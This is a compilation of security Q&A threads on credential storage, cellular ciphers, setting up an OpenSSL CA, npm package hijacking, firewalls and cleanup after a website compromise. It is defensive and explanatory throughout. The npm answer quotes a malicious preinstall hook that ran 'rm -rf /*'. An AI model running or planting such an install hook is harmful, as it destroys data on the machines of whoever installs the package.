Storing NetworkCredential in SQL database I have a web project where I need to store a username and password in an SQL database. the username/password are for exchange web services.(so it cannot be hashed, I need to be able retrieve a clear text password) Each user of the web page will have to enter their username and password once and this is the information I want to store in SQL database, but in a way so its not possible to decrypt it for others then the user logged in to the web application (due to security concerns) I was thinking I could do this by using the users password for the web application to encrypt and decrypt the password. In this way you can only decrypt the exchange password if you know the users password for the web application. (which is hashed for this web application)

The web application is using forms authentication and the users has the option to "Remember me" so they don't have to sign in every time and here is the problem. I might not get a request with password for every new session.
The exchange servers are out of our control, so we cannot use any impersonation, add users with special permission to mailboxes etc. The only thing we know about the exchange server is what we get through the exchange autodiscover service.

The only way I can think of is to create a hash representation of the users password and store it the authentication cookie. Then I can use this hash (plus some salt) to encrypt and decrypt the password for the exchange web services.

Is this a safe way to do it? is there any better way to solve this issue?

Not sure if there is a better way, but this is how I would do it. I think it is similar to what you describe in the question.

Store the network credentials encrypted with a key that is derived from the users password, e.g. using PBKDF2). (If you also store password hashes for authentication, use a different salt so they are not identical.) That way, if your  database is compromised the network credentials will still be relatively safe.
To make the network credentials available without password reentry, I would encrypt them with a random key and store the encrypted value (but not the key) in a separate table. The key I would send as a cookie (with appropriate time out) to the user. That way, if your database is compromised the network credentials are still safe because the key is not there.
Note that I would use a cryptographically secure random key, and not something related to the user, password or session ID.
Remove entries from the table as soon as the session times out or a user loggs out.

The backside of this is off course that a user that can steal the cookie can decrypt the network credentials. But this will be a problem for any system where password reendry is not required - someone who could steal the session cookie would be able to appear as logged in anyway. So I think that is a drawback with not requiering password reentry, and not with this particular solution.

Disclaimar: This is not my area of expertece so you might want a second opinion on this.


Cellular encryption algorithms currently in use globally I have been doing research on the available encryption algorithms used by commercial mobile providers worldwide, and would like to know if the following list is complete:

Algorithms for voice encryption:

A5/1: the "original" unweakened GSM encryption algorithm
A5/2: the "export variant" weakened version of A5/1
A5/3: KASUMI, in use in 3G networks, stronger than A5/1
A5/4: SNOW 3G, in use in 4G LTE networks
A5/0: no encryption (doesn't count as encryption, here for sake of completeness only)

Algorithms for packet data encryption:

GEA/0: no encryption, here for sake of completeness.
GEA/1: used for GSM GPRS/EDGE/3G/4G, 64-bit keylength, 96-bit state, proprietary stream cipher. Broken, can use gprsdecode for decryption.
GEA/2: used for GSM GPRS/EDGE/3G/4G, 64-bit keylength, 125-bit state, proprietary stream cipher. Broken, as with GEA/1 can be decoded with gprsdecode.
GEA/3: used for GSM GPRS/EDGE/3G/4G, 64-bit keylength, 128-bit state, based off KASUMI. Limited break, as with A5/3.
GEA/4: used for GSM GPRS/EDGE/3G/4G, 128-bit keylength, 128-bit state, based off KASUMI.

This list covers only global implementations of "2G", "3G" and "4G" mobile networks, and does not include TETRA and IDEN.
Help and corrections to this list would be very appreciated.

Additional sources:

SecSE: Are phone calls on a GSM network encrypted?
A Few Thoughts on Cryptographic Engineering: On cellular encryption
11c3: GPRS Intercept: Wardriving your country
Wikipedia: GSM security

You have the other comments already. As a minor point, the list isn't quite correct in two areas:

A5/4 isn't Snow 3G - it is a full length 128-bit key version of A5/3 using the Kasumi algorithm.  See 3GPP TS 55.226.  The Kasumi algorithm applied to GSM uses a 64 bit key bulked out to 128 bits for algorithm input.  A5/4 extended that to using the full 128 bits
LTE confidentiality algorithms.  Yes, EEA-1 with a 128 bit key, based on SNOW 3G is available, but 128-bit AES EEA-2 is also available. More recently, EEA-3 has become available, based on the ZUC stream cipher. See, for instance
[1] ETSI/SAGE Specification, Specification of the 3GPP Confidentiality and Integrity Algorithms 128-EEA3 & 128-EIA3. Document 1: 128-EEA3 and 128-EIA3 Specification; Version: 1.6, (2011).
[2] ETSI/SAGE Specification, Specification of the 3GPP Confidentiality and Integrity Algorithms 128-EEA3 & 128-EIA3. Document 2: ZUC Specification, Version: 1.6, (2011)


Is it illegal to publish an exploit against a known vulnerability in US? Is it illegal to publish an exploit against a known vulnerability in US? The exploit could be published in one's blog or places like exploit-DB. It seems that in countries like Germany and France such activities are not allowed.

Consult a lawyer for legal questions.  Answers here won't help you if you get into trouble.

That being said, obviously there are a lot of researchers in the US publishing proof-of-concept code, and even the code that goes into tools like the metasploit framework.  Also, there are some pages you can find from sources like the EFF's Coders' Rights Project.


Use SSH config file with Putty I'm using SourceTree (a Git GUI) which uses PuTTY as SSH client. I need to push some code into a repository for which I need to tunnel through SSH to do so. The trouble is, the repository and SSH authentication server are on separate servers. Hence, I need to login to one server and then push to another one.

I was given the following config file but I don't know how to use it with PuTTY:

Host login
HostName login.nets.*******.**

Host zeus
HostName zeus.nets.*******.**
ProxyCommand ssh login nc %h %p 2> /dev/null
#ProxyCommand ssh login -W %h:%p
ForwardAgent yes
IdentityFile ~/.ssh/id_rsa

PuTTY does not store its configuration in a file. However, PuTTY can use a "proxy command", as described here.

In your case, the example config file shows that there should be two encapsulated SSH connections:

The outer SSH is done to host login.nets.***. When that connection is done, the command nc is run on that host: it basically forwards data bytes to port 22 on the inner host zeus.nets.***.
The inner SSH is done again from your machine, to host zeus.nets.***, with all data bytes sent through the outer SSH.

In the ProxyCommand option, the ssh login part is the invocation of the outer SSH when the user (or your GUI application) tries to connect to "zeus". It is not obvious whether PuTTY itself can be invoked that way: there is a command line but you also need the "inner PuTTY" to forward all its bytes to the "outer PuTTY", and it is unclear whether that "outer PuTTY" will accept the bytes on its "standard input" (Windows is not Unix, and, moreover, PuTTY does not expect to run in a terminal or on raw bytes; it more tries to open its own window).

Possible alternatives:

Try to use port forwarding. In that case, you manually start a PuTTY to login.nets.***, with a port forwarding from local port 5000 (that's an example) to remote host zeus.nets.*** and remote port 22. Then you configure your GUI to talk (with PuTTY) to localhost on port 5000. When the GUI launches the PuTTY which connects to localhost on port 5000, the other PuTTY (the one you started manually) forwards the bytes to host login.nets.*** with instructions to open a connection from that host to zeus.nets.*** on port 22.

This may or may not work, depending on the configuration of the SSH server on login.nets.*** (support for such tunnels can be enabled or disabled by the sysadmin).
Use a more Unix-like SSH client, e.g. through Cygwin. Since this is the usual OpenSSH, it will be able to read and use the provided SSH configuration file, and do the nested invocation. Of course, there is no guarantee that your "SourceTree" application can be configured to use such a SSH client.


Keeping signatures valid even after the private key has been compromised If I understand the topic of digital signatures correctly, you sign a message via hashing+encrypting it using your private key.

Then, if a private key is compromised by an attacker, she could sign stuff pretending she's you.
This way, any organization that has the (even legal) power of asking you to decrypt your messages such to prove to a court there's no evidence of illegal action in them, has now the power of signing messages that state you did things you never did.

Is there any way for attaching a computationally-hard-to-fake timestamp (not silly cleartext meta's, course...) on a signature such that you can not only revoke a key after having been obliged to release it, but that you can also prevent them to now sign every message they want it to look you wrote?

The specific case of a private key being compromised is actually handled already, but you have to do it right in the first place.

The correct way to do it is to use a secure timestamp as part of the signature. These timestamps are provided by trusted third party servers (there are several ones that are usable for free provided by big names in the security business). They include a hash of the signed data and are integral part of the digital signature (The TSA signature is applied to the timestamp, your data and your digital signature).

When a your private key is compromised, you indicate the date when the revocation starts (in practice, it usually starts when you notify the CA that the key should be revoked). Any application validating a document signed with the revoked key should then compare the timestamp included with the signature with the one included with the key revocation record: anything before that date should be considered valid and anything starting and after that date should be considered invalid.

That way, document you signed before your key was compromised can still be validated safely.


Security risk of connecting to two networks simultaneously My employer issues a list of security recommendations when using a work laptop outside of the work network.  The security recommendations are related to such risks as data theft, viruses, or other unauthorised access.  Most recommendations I understand, but this one surprised me:

  Never connect simultaneously to two different networks (for example cable and wifi), in particular not when you are connected by VPN to [employer network].

Is there a security risk of connecting both by cable and by wifi simultaneously?  Does VPN make this worse?  Or is this recommendation not directly useful?

The risk is not really for your own system but for the corporate network. I assume that the private network is only connected to internet through a secured firewall, and that through the VPN you get access to that private network.

If you manage to have your machine connected at the same time to a public network and to the VPN, it will constitute a new connection for the private network bypassing the main firewall. This is something that any security team sees as a terrible config: an external attacker could get access to the private network through your machine without hitting the firewall, and with no possibility for the sec team to have any trace of it.

Do not worry about it: this recommendation is common as soon as you get a corporate VPN.


Creating my own CA for an intranet I need to create my own CA for an intranet and unfortunately it seems there's no good answer about this on Security.SE.

There are many resources online about this, but all of them are different and some use outdated defaults (MD5/SHA1, etc) which doesn't seem that trustworthy. There are also hundreds of different variations of openssl.cnf, ranging from a 10-line file to the enormous one that came by default with my distribution.

I would like a canonical answer about setting up a simple CA for issuing server certs and client certs.

Apparently it seems some people still don't understand that I'm not some large company where a CA compromise causes billions worth of losses and can't be mitigated easily so let me explain a bit better why I need the CA :

multiple servers connected via insecure links (the Internet) need to communicate securely.
I need a way to identify myself to those servers in order to perform administrative tasks, without going back and forth to my password manager every 10 seconds.
no other CAs than mine should be able to impersonate any of the servers, no matter how unlikely (but possible) that is.

There. My own PKI and a cert installed on each machine seems to fit the needs perfectly. One of the software I use also requires the use of a PKI, so just using self-signed certificates isn't an option.

To compromise the PKI someone would need to compromise my work machine, and if that's done then the attacker can already do quite a bit of damage without even touching the PKI (as I would be logging in via SSH to the server from this machine anyway). That is a risk I'm accepting to take, and this PKI doesn't add any more risk than what there is already.

If your infrastructure is tiny, much of the details of running a CA (e.g. CRLs and such) can probably be ignored. Instead, all you really have to worry about is signing certificates.

There's a multitude of tools out there that will manage this process for you. I even wrote one many years ago. But the one I recommend if you want something really simple is easy-rsa from the OpenVPN project. It's a very thin wrapper around the OpenSSL command-line tool. If you're going to be managing a LOT of certificates and actually dealing with revocation and stuff, you'll want a much more complex and feature-complete utility. There are more than enough suggestions already provided, so instead I'll just stick with the basics of what you're trying to accomplish.

But here's the basic procedure. I'll explain it with OpenSSL, but any system will do.

Start by creating your "root" CA -- it'll be a self-signed certificate. There are several ways to do this; this is one. We'll make ours a 10-year cert with a 2048-bit key. Tweak the numbers as appropriate. You mentioned you were worried about hashing algorithm, so I added -sha256 to ensure it's signed with something acceptable. I'm encrypting the key using AES-256, but that's optional. You'll be asked to fill out the certificate name and such; those details aren't particularly important for a root CA.

# First create the key (use 4096-bits if that's what floats your boat)
openssl genrsa -aes256 -out root.key 2048

# Then use that key to generate a self-signed cert
openssl req -new -x509 -key root.key -out root.cer -days 3652 -sha256

If you encrypted the key in the first step, you'll have to provide the password to use it in the second. Check your generated certificate to make sure that under "Basic Constraints" you see "CA: TRUE". That's really the only important bit you have to worry about:

openssl x509 -text < root.cer

Cool. OK, now let's sign a certificate. We'll need another key and this time a request. You'll get asked about your name and address again. What fields you fill in and what you supply is up to you and your application, but the field that matters most is the "Common Name". That's where you supply your hostname or login name or whatever this certificate is going to attest.

# Create new key
openssl genrsa -aes256 -out client1.key 2048

# Use that key to generate a request
openssl req -new -key client1.key -out client1.req

# Sign that request to generate a new cert
openssl x509 -req -in client1.req -out client1.cer -CA root.cer -CAkey root.key  -sha256 -CAcreateserial

Note that this creates a file called root.srl to keep our serial numbers straight. The -CAcreateserial flag tells openssl to create this file, so you supply it for the first request you sign and then never again. And once again, you can see where to add the -sha256 argument.

This approach -- doing everything manually -- is in my opinion not the best idea. If you're running a sizable operation, then you'll probably want a tool that can keep track of all your certificates for you.

Instead, my point here was to show you that the output you want -- the certificates signed the way you want them -- is not dependent on the tools you use, but rather the options you provide to those tools. Most tools can output a wide variety of configurations, both strong and weak, and it's up to you to supply the numbers you deem appropriate. Outdated defaults are par for the course.


Exploitability of scenario We have an home grown application that you must log into to use (using ldap credentials).  Once logged in the credentials you entered are used to communicate with the API and database and retrieve work assigned to you.  However, when opening an assignment, this pulls a file off of a network share as the currently logged in user (to windows, not the application).  Now 99% of the time, this is going to be the same user, however that still seems wrong to me, but the developer states that this behavior is by design (since there are policies to lock / not share your computer), and I can't argue.

Can anyone thing of a way this could be exploited, or am I being overly cautious?

If I understand the setup correctly, on the one hand you authenticate to the application to retrieve some data from it and then, independently, a Windows share is accessed (probably triggered by the application).

In that case the user who is logged in can access the data without the application anyway. He may not know where to look for the data but if the rights are set up correctly on the share it is more a way to hide from him what he has access to than to prevent someone else to access it.

If the above assumptions are correct there are no obvious security issues with this dual access.


Unpublished modules on npm: could an attacker take advantage of their former notoriety? Earlier this week, Azer Koçulu decided to unpublish his modules from npm, the default package manager for Node.js. He had published 273 modules in total.

Some major modules, like Babel and React, relied on one of them: left-pad, and a lot of npm installs started to fail because the module couldn't be found anymore. The original module was quickly re-published by Cameron Westland as version 1.0.0, since npm allows re-publishing an abandoned package name as long as they don’t use the same version numbers.

Then the npm staff decided to republish the original version because they were still observing many errors.

Though, someone could have been faster than Cameron, and he could have uploaded a malicious script instead of the original one. Since packages are not signed, the malicious script could have been downloaded and executed thousands times.

Does npm have any mechanism that prevents an attacker to take advantage of the notoriety of an unpublished module?

Could malicious code be pushed to NPM?

Most certainly. If a package is to become compromised (or a new one is published), installed, and used any code provided with that package could be executed. So if they run it in the node.js context for example, the attack has access to many machine level features such as the file system, system information, file execution, processes, etc. It would be as simple as putting the attackers code to be returned in the export. So as soon as they require('bad-package') the code is executed. Even worse it could be as simple as installing the module. They can specify a preinstall script in the package's manifest and run the script immediately.

Has malicious code been pushed to NPM?

Most certainly again. On 01/26/2015 a package named rimrafall was published to NPM. It's purpose was to raise awareness of the issue. The package would run a preinstall hook so immediately upon installation rm -rf /* would be executed. Rimrafall was removed within 2 hours but it can be found on Github.

Can developers keep themselves and their users safe?

As a developer the only close to reliable prevention method is version locking in your package.json to versions known to be safe. Version locking is normally practiced to ensure only a known working dependency is used and an untested dependency update doesn't break anything. But the same can be used to fend off an attackers version. As you mentioned you cannot republish a file of a particular version. By setting an exact version in your dependencies your application will only download this version. If an attacker was to gain control of the package they could only push malicious code to users of a later package. I said "close to reliable" because if an attacker was to compromise NPM's servers they could change a previous version to whatever they wish.

Additionally you can prevent a preinstall script attack by using the --ignore-scripts flag when installing. This would give you the opportunity to install but view it's code before running it. (Unless the package contains native binaries.) Prior to install you can check for such scripts by running npm show $module scripts. If you would like to leave NPM out of the mix to review the script you can download it directly at http://registry.npmjs.org/MODULENAME/-/MODULENAME-VERSION.tgz.

Does NPM prevent someone from taking over an unpublished package?

Yes and no. Once unpublished there is a hold placed on the package name to prevent immediate abuse. However it is still obtainable if you request it from NPM. In theory simple Social Engineering could bypass the vetting process and put the package name in the hands of the attacker. A message for an unpublished package is below:

  This package name is not currently in use, but was formerly occupied
  by a popular package. To avoid malicious use, npm is hanging on to the
  package name, but loosely, and we'll probably give it to you if you
  want it.

  You may adopt this package by contacting support@npmjs.com and
  requesting the name.

In Conclusion

So in closing, could an attacker take advantage of unpublished package? Yes, if the wrong person quickly took ownership nothing was in the way of them pushing a package update with their code. This would compromise anyone downloading the latest version of that package or installing/updating projects that didn't version lock their dependencies.

Edit: Keep in mind your dependencies can have dependencies. So while the dependency itself can appear safe be sure it isn't loading in an unsafe dependency of it's own.


How would I implement "Broadcast Encryption"? I have a stream that I want to encrypt for broadcast to 10,000 subscribers.  I know I should encrypt this data using a symmetric key; and also intend that this symmetric key will be rotated every 30 days.

Assuming that I already have a Public key for each subscriber (private key only known to them),  how should I encrypt the symmetric key and send it to the subscribers?

Or is this just obvious; I just encrypt the symmetric key with each public key?  Are there any special considerations I need to take?

For example, how does the length of the symmetric key factor in to the solution?  I am considering wrapping the symmetric key in a SOAP or JSON message which may alter the length of the final string to be encrypted.

You just encrypt the symmetric with the public key of each recipient. There is some research on how to do better than that (so that the size overhead is less than, say, a hundred bytes per recipient) but there is nothing directly applicable right now.

If you use RSA (that's the most probable), then here are the sizes: an encrypted message always has the same size than the modulus; for a 1024-bit RSA key, this means 128 bytes. The encryption process includes some padding, which adds an internal overhead of at least 11 bytes. Thus, the maximum size of a data blob which is to be encrypted with a 1024-bit RSA key is 128-11 = 117 bytes.

I am not sure why you would want to wrap the symmetric key in a SOAP or JSON message. If it is encrypted then the receiver must decrypt it; since an encrypted RSA message really looks like a bunch of random bytes with no visible structure, this means that the receiver already knows what to expect. What would SOAP or JSON add at that point ? Maybe you would like to do it the other way round, i.e. encrypt (with RSA) the symmetric key, and then wrap the result (the 128-byte encrypted message) into a SOAP or JSON message ?


What does it mean for a digital certificate to be "signed"? When someone says that a particular digital certificate (like an SSL cert) has been "signed with a key", what does that imply? Does that mean the certificate simply includes a key that should be used for further message exchanges? Does that mean that the cert itself is encrypted and can only be decrypted with that key? Does it imply something else? Thanks in advance.

Ideally, it means that someone looked at the certificate and decided that it is correct and legitimate. Once they've done that, they want to tell people "Hey, I've verified that this certificate is good. I trust it". To do this, they use their signing key to sign the certificate.
Now when someone gets the certificate they can see who signed the certificate. If they trust one of the signers, they can trust the certificate itself. This is the basis of Web Of Trust in PKI.
The actual signing probably depends on what kind of certificate it is. I think this is a useful read.

A digital certificate consists of three things:

A public key.
Certificate information. ("Identity" information about
the user, such as name, user ID, and so on.)
One or more digital signatures.

Typically the "one or more digital signatures" part is done by listing a set of encrypted hashes of the certificate. So when you want to sign a certificate, you would compute the hash of the certificate, encrypt it using your private signing key, and add it to the cumulative list of digital signatures.


Compromised server name and port number of a SQL Server DB Server I would like to get an expert opinion on how dangerous is it to have the database server name and SQL server instance and port number compromised by accidentally exposing it in source code snippet posted on the internet.

A connection string was accidentally posted on the internet with the username and password masked but the server name and sqlserver port number remaining in open text. The posted info contained the following:

sub.server.domain.tld/SqlServerXXXX;12345; User Id="MASKED" Password="MASKED" Initial Catalog="MASKED"

This Windows server is on a large corporate network Active Directory domain and is not public-facing, so it’s behind a standard set of firewalls, etc. It currently hosts a development database for an internal intranet website. The domain.tld is the same as the company web address.

So basically a potential attacker knows that a server named "sub.server.domain.tld" exists with SQLServer database(s) listening on port 12345 on the corporate network owned of the company "domain.tld".

What can they do with this kind of info?
How much danger is this server in? Should it be disconnected and burnt immediately?
Is there a danger to other computers on the network?

Sounds to me, that what was leaked is only information obtainable by a simple nmap scan.

If the security of your system depended on that staying private, you might have an issue in you approach anyways.

As long as the credentials were not leaked and your db server has good access control rules, I wouldn't worry.

I mean, think about it: if the db should be tapped by different services inside your company, then the "leaked" info is not secret anyways. If the db is used only by specific services, then access to it should be explicitly limited to those whitelisted IPs or subnets.


Should we use Microsoft security or defender for securing our WAN network I would like to understand much about Microsoft Security Essentials or another antivirus which build in or developed by Microsoft. I'm planning to set up the network for my company and use Microsoft Plattform for operating that structures But I don't understand much about Antivirus or another Security which can help to protect my network from attacker or viruses.

My network structures:

Based on Microsoft platform
Network type: WAN (there are multiple LAN there)
Use Mikrotik (configured Mikrotik firewall and another policy,VPN)
Use Window server 2016 for Files Sharing (active directory, DNS, allow remote, Files storage for sharing,)
We provided DHCP for our client

Due to Window server 2016 some of the network developers have recommended me to use Keperstkey, symatic,.... But I don't understand why they don't recommend me to use Microsoft Security Essentials or Microsoft Defender because that antiviruse was built from Microsoft.

Please give me some idea.

Thanks

I suggest you contact some local security provider and consult with them about securing your network and desktops. You can use Windows Defender to protect computers from malware and Microsoft System Center to configure it globally. In my opinion, the solution from Kaspersky Lab (their security center and endpoints) will be much easier to deploy and manage for you.

PS. You will not be able to provide basic security for your users if you have no experience in the field of IT-security, no matter which antivirus solution you use. It would be better to delegate this task to a person with enough experience to carry it out correctly.


What questions are useful to scope a mobile app pen test? When arranging a pen test it's common practice to ask the client a set of questions, and use the answers either as the basis for further discussions, or to directly provide a test plan and quotation.
For a mobile app specifically, what questions are helpful to include? For example:

What platforms does the app support? e.g. iOS, Android
Was the app developed using a cross-platform framework? e.g. PhoneGap, Kivy
Does the app connect to it's own back-end service? e.g. bespoke REST, Firebase

Do these connections use SSL pinning?

Does the app provide additional UI secuity? e.g. PIN, FLAG_SECURE
Does the app provide IPC interfaces? e.g. URL handler, intent
Does the app interface with hardware? e.g. bluetooth card reader
Is the app obfuscated?
How is the app delivered? e.g. public store, private app in store, alternate store, sideloading
What authentication is used? e.g. pairing, user name & password, connect with Facebook
How many views/pages does the app have?
What permissions does the app request?
Does the app make arbitrary network connections or listen on ports?

If you have any other ideas, please let me know!

I found it rather important to say that not all apps are purely created with Java and XML, there are people who like to convert their website into an android app, in fact that's just a copy of their website displayed on 5" screen., not only because it's cheaper but also because it saves them time.
Some suggestions,

Is it a converted app? (in case it is converted from a webpage)
Which technologies has been used during the development process or in the app, such as HTML5 or javascript?


Unknown IP in my IPsec VPN log. How? I am working on a site-to-site VPN from our main/hub (Untangle NG Firewall) site and a new co-lo/remote (Cisco ASA 5505) site. I'm having trouble bringing the tunnel up, so I'm copy/pasting the logs into Notepad++ and I find this IP that I do not recognize: 216.218.206.86 (from log)
Jan 27 18:26:33 Untangle charon: 07[NET] sending packet: from 192.168.100.0[500] to 216.218.206.86[40383] (40 bytes)

GeoIP lookup (via MaxMind.com) lists it as https://shadowserver.org out of Fremont, CA. I have read up on what they do and apparently they are good guys in InfoSec (from their site):
"The Shadowserver Foundation is currently undertaking a project to search for publicly accessible devices that have services running that should not be exposed because they are trivial to exploit or abuse. The goal of this project is to identify hosts that have these types of services exposed and report them back to the network owners for remediation."

That's all well and fine I guess, but can anyone tell me: how did this IP get in my IPvpn log? Does Untangle willingly participate in recon with them? Seems shady they would do that and notify their paying customers, if so. Thank you.

I wouldn't trust too much in a website just because they state they are "the good guys". If I had an malicious server, I would definitely write the same thing.
Can you track down which of your internal machines is generating the traffic? If yes, here's few suggestions:

Log into the machine and run a netstat query (netstat -ano), then you will be able to find which process is connecting to that IP in that port.
Ensure you have anti-virus installed on the machine, if necessary, update it and run a full scan.

If you're not able to determine the source of the traffic, you can capture the traffic on the firewall and use wireshark to analyse what kind of data is being transmitted.


What's the difference between an "application-aware firewall" and a "web application firewall"? I'm studying for the CCSP and my training material isn't very clear on the definition between "application-aware firewall" and "web application firewall".

The training material states:

  Early on, these devices were limited to simply port blocking with no
  ability to see inside the packets traversing the interface.  Then
  stateful packet inspection came into the picture, which allowed
  firewalls to prevent inbound traffic from entering unless the
  connection had been initiated from inside the network.

  Today's application-aware firewalls are far superior to their
  predecessors of even a few years ago.  However, the battle rages on
  with attackets and their wily ways, which leads us to the web
  application firewall (WAF).

The material then goes on to talk about how WAFs function (at layer 7 of the OSI model) but there's no more information about "application-aware firewalls".

What's the difference here?  Is an "application-aware" firewall the same thing as a software firewall installed on the user workstation?

An application-aware firewall understands not only ports, but that specific applications listen to specific ports.  They are indeed host based (installed on a user workstation or a server) and prevent malware from listening on a port that would normally be used by a legitimate application.

For instance, you might open port 80 on a traditional firewall because you have IIS running, and want to allow web traffic.  If malware were to kill IIS and start listening on port 80 instead, the traditional network firewall is going to happily deliver traffic to it, because all it knows is that it has a rule saying that it should allow traffic specified for port 80.

An application-aware firewall on the other hand, has a rule allowing traffic to IIS specifically, and if malware shuts it down, then the firewall will start blocking traffic to the ports that IIS listened on, and in the absence of additional rules allowing that traffic, the malware is effectively blocked by default.

The inbound example is real, but slightly contrived.  Where this becomes  particularly useful is in situations where you have a very locked down host and a limited set of applications that need to be allowed to communicate outbound.  You now no longer need to allow outbound traffic via open ports through the firewall at all, but can simply set application specific rules allowing only the set of applications that need to communicate outbound to do so.  Done correctly, this can severely restrict the ability of malware then to communicate with command & control infrastructure, to exfiltrate data, or to be used for further lateral movement in a network.

A web application firewall, on the other hand, is application-aware in a different sense, in that while it is still just a network based firewall, it has a specific understanding of what HTTP traffic looks like, and can inspect the traffic and apply rules to identify and stop potentially malicious traffic before it gets to the HTTP application.   So, it doesn't care if the web server application is IIS, Apache, or malware for that matter, but if it sees an inbound request that contains a common SQL injection pattern, for instance, it can refuse to forward the request on to the web server, protecting it from attacks that it may not be designed to protect itself from.


Implementation review - Independent key, admin side and user side The admin of the website needs to read user data. So, if the key is derived from the user pass, then the admin has to know the user pass, not exactly a good idea.

The following encryption scheme was very kindly suggested by Polynomial.

Essentially what you're attempting to do is backdoor each user's account in a way that allows only the user and a single administrative user to access their data. This can be achieved as follows:

us  = User salt  = Random unique value (not the same salt as used for authentication)
as  = Admin salt = Random unique value (not the same salt as used for authentication)

uk  = User key    = pbkdf2(user_pass, us, 256, rounds)
dk  = Data key    = random 256-bit key
ak  = Admin key   = pbkdf2(admin_pass, as, 256, rounds)
P   = RSA private key
p   = RSA public key

uk' = Encrypted user key    = dk ^ uk
dk' = Encrypted data key    = RSA_Encrypt(dk, p)
P'  = Encrypted private key = AES_Encrypt(P, ak)

m = message
iv = initialisation vector (random unique value)
c = ciphertext = AES_Encrypt(m, iv, dk)

We then store uk', dk' and iv with the data record we're encrypting. We store us with the user account record. We also store P' and as with our admin account record. The public key P can be stored in the code. The keypair is common between records.

The user decryption works as follows:

Compute uk from the user password and us.
Xor uk' with uk to retrieve dk.
Decrypt c using iv and dk, giving us m.

The admin decryption works as follows (the private key is stored offline):

Compute ak from the admin password and as.
Decrypt P using AES_Decrypt(P', ak)
Decrypt dk using RSA_Decrypt(dk', P)
Decrypt c using iv and dk, giving us m.

I've tried to implement Polynomial's scheme in PHP: this is the result. Now I'd like to know if my implementation is correct and if it is secure.

Thanks a lot for your very useful help!

This is not unlike a scheme I posited in this question, which got some derision as overly complex. Yours is simpler (because user authentication is handled separately and only user data security/recovery is covered here), but there's still quite a bit going on here with encrypting encryption keys multiple ways. Necessary, probably, but still complex.

I would recommend two changes. First, the private RSA key, instead of being obfuscated behind a single admin account's credentials, could be stored offline. I'm assuming here that recovering user data is not an everyday occurrence, if an admin is required in order to do it (admins have better things to be doing all day than recovering user accounts). So, when it does need to happen, a user with admin privileges could retrieve an HSM (or a thumb drive with the keyfile if you're cheap) from physically-secured storage, and use it with an offline program (not part of the PHP app) to decrypt the user's data.

The advantage here is that it isn't dependent on one common admin account, and thus doesn't require one common admin account, avoiding the inevitability that the admin account credentials will be written down and subsequently fall into "enemy" hands. The key and/or recovery program would still be accessible only by someone with admin privileges, who would use their own personal access credentials to get the key from storage and to log into the program. This also gives you the possibility of an audit trail; you know exactly whose credentials were used to get the key out and run the program, so if there's ever a suspected compromise you can narrow the search.

You can implement whatever additional pomp and circumstance you deem necessary for retrieving and using the private key; just make sure the measures aren't so draconian that they make users want to circumvent them (or alternately, make sure the measures physically prevent circumvention; this usually requires some serious $$$).

Second, I would also store p in the data layer, not in code. I realize that this scheme is in place in a PHP site, and so there's only one place to publish a code change that updates the public key. However, should the public key ever need to change, IMO it's still easier to go into the DB and update it than to publish the code change, and not that much more difficult to get the public key (which is, again, apparently not extremely common; it would only be needed when a user's dk changed, and even if that changes every session it's a trivial DB query to make).

Of course, changing p in the first place will make any dk' encrypted with a previous p obsolete. There are several ways to mitigate this:

Decrypt and re-encrypt every user's data key whenever the RSA keypair changes.
Store the "revision number" of the RSA key last used to encrypt a user's data key, with the current revision number stored alongside the current public key, and keep several past revisions of private keys in storage.

Coupled with forcing users to change their password every 90 days (regenerating and re-encrypting their data keys) the number of old keys you'll have to keep should be pretty low.

Force users to change their passwords when the RSA keypair changes, resetting and re-encrypting their data keys with the new public key.


Malware Suddenly Uploaded To My Website! This is my first question here on the IT Security section of Stack Exchange, so if there is any problems with my question I apologize.

Basics

Suddenly Google says that my website contains Malware!
When I enter my website my antivirus program tells that a Trojan has been blocked and removed! The Trojan is categorized as a (Trojan:JS/Quidvetis.A) by the antivirus program, and if you look the Trojan up, it says that it currently is harmless and have no effect!

As Google said, yes my website does contain some new weird files which potentially could be Malware!

I found a file called 46ZqQVmc.php and I found it at the following path ROOT/css/46ZqQVmc.php I don't know at all how the file have gotten there!

Also inside my index.php I found this piece of code!

Edit: gowenfawr made me aware that some browsers, block the site because of the following code, so I changed it to pictures of the code as like gowenfawr said.

Click here to see the image in fullscreen

When the PHP file is processed that exact piece of code, becomes the following!

Click here to see the image in fullscreen

Again I have no idea how my index.php file got edited!

Information

Host: One.com - I have contacted my host but there response was that my website didn't contain any Malware!
FTP Client: Filezilla - I am aware that Filezilla strores passwords, etc, as plain text!
Access: I'm the only person have all the passwords and access to the website itself!
Currently I have no file uploading or comment sections and things like that on the website itself!

Question

Basically my question is, how does Malware get uploaded to my website? I know this is a really abstract question, but I'm asking if anybody have any kind of idea of how the Malware got uploaded or created on my website and also how my index.php file got edited!

I think that somehow someone have got the passwords, etc. to my website so that they can enter it and edit files and also upload files of course, though I have no idea how they've accomplished such thing.

Bottom line, my question is again, is there anybody that have any idea of how that file can have been uploaded to my website and also how my index.php file can have gotten edited!

Extra

If there is any more information you need to various things, just ask in a comment and I can add the information.

Edit

I don't use Wordpress, everything is custom coded by myself.
I use SQL for stuff like blogs and other content! (Though I have another website which functions like a File Browser for Notes, which uses no SQL at all, and that website is infected with this exact same thing as well)
I don't use Prepared Statements in MySQLi yet! (That could be the problem somehow, but I'm going to use them from now on)
My programming experience is 7 years and I'm self-taught, my main programming languages are C++, Java & C, my experience with PHP is only 1-2 years.

Short version:

However it got there, it's there.  Your first step should be to contain the damage.  I recommend setting up a temporary "site maintenance" page and setting your site to serve that, immediately, while you figure this out.  Otherwise you'll get more blacklisted as the stuff stays out there.
Congratulations, you put malware on Security.StackExchange.  U R HAKR!  More seriously, the amount that you posted is enough to trigger my web gateway's antivirus (it calls it EXP/JS.Expack.GQ) so I and presumably other people can't even read your question.  (I'm posting this through a separate system because I was curious).  If you want people to see your question, I recommend replacing your code blocks with images (e.g., .gif/.png) of the code.
To your original question, the attacker probably abused a php script on your system to upload a command processor, and then used that command processor to insert the obfuscated code that you found.  It's probably lots of other places too, not just index.php.  You're going to need to revert to backup or otherwise recover your site before you can get un-blacklisted by Google.

Long version (or, Incident Recovery When You're the Watering Hole):

This type of code is consistent with what's called a "Watering Hole" attack - the attacker places attack code on web pages hosted by an innocent system.  Web users innocently browse to your innocent system, and end up downloading malware from the hiddden iframe that the attacker put on your site.

Any method of compromising a host can be used to initiate a Watering Hole attack, but (IMHO) the most common is vulnerable web server scripts.  Wordpress is particularly prone to being kicked over; a site I worked got bit by the Tim Thumb fiasco.  Such attacks find some script on the site dumb enough to write a script to the site itself, and the attackers then execute the script they just uploaded in order to make changes throughout the site.

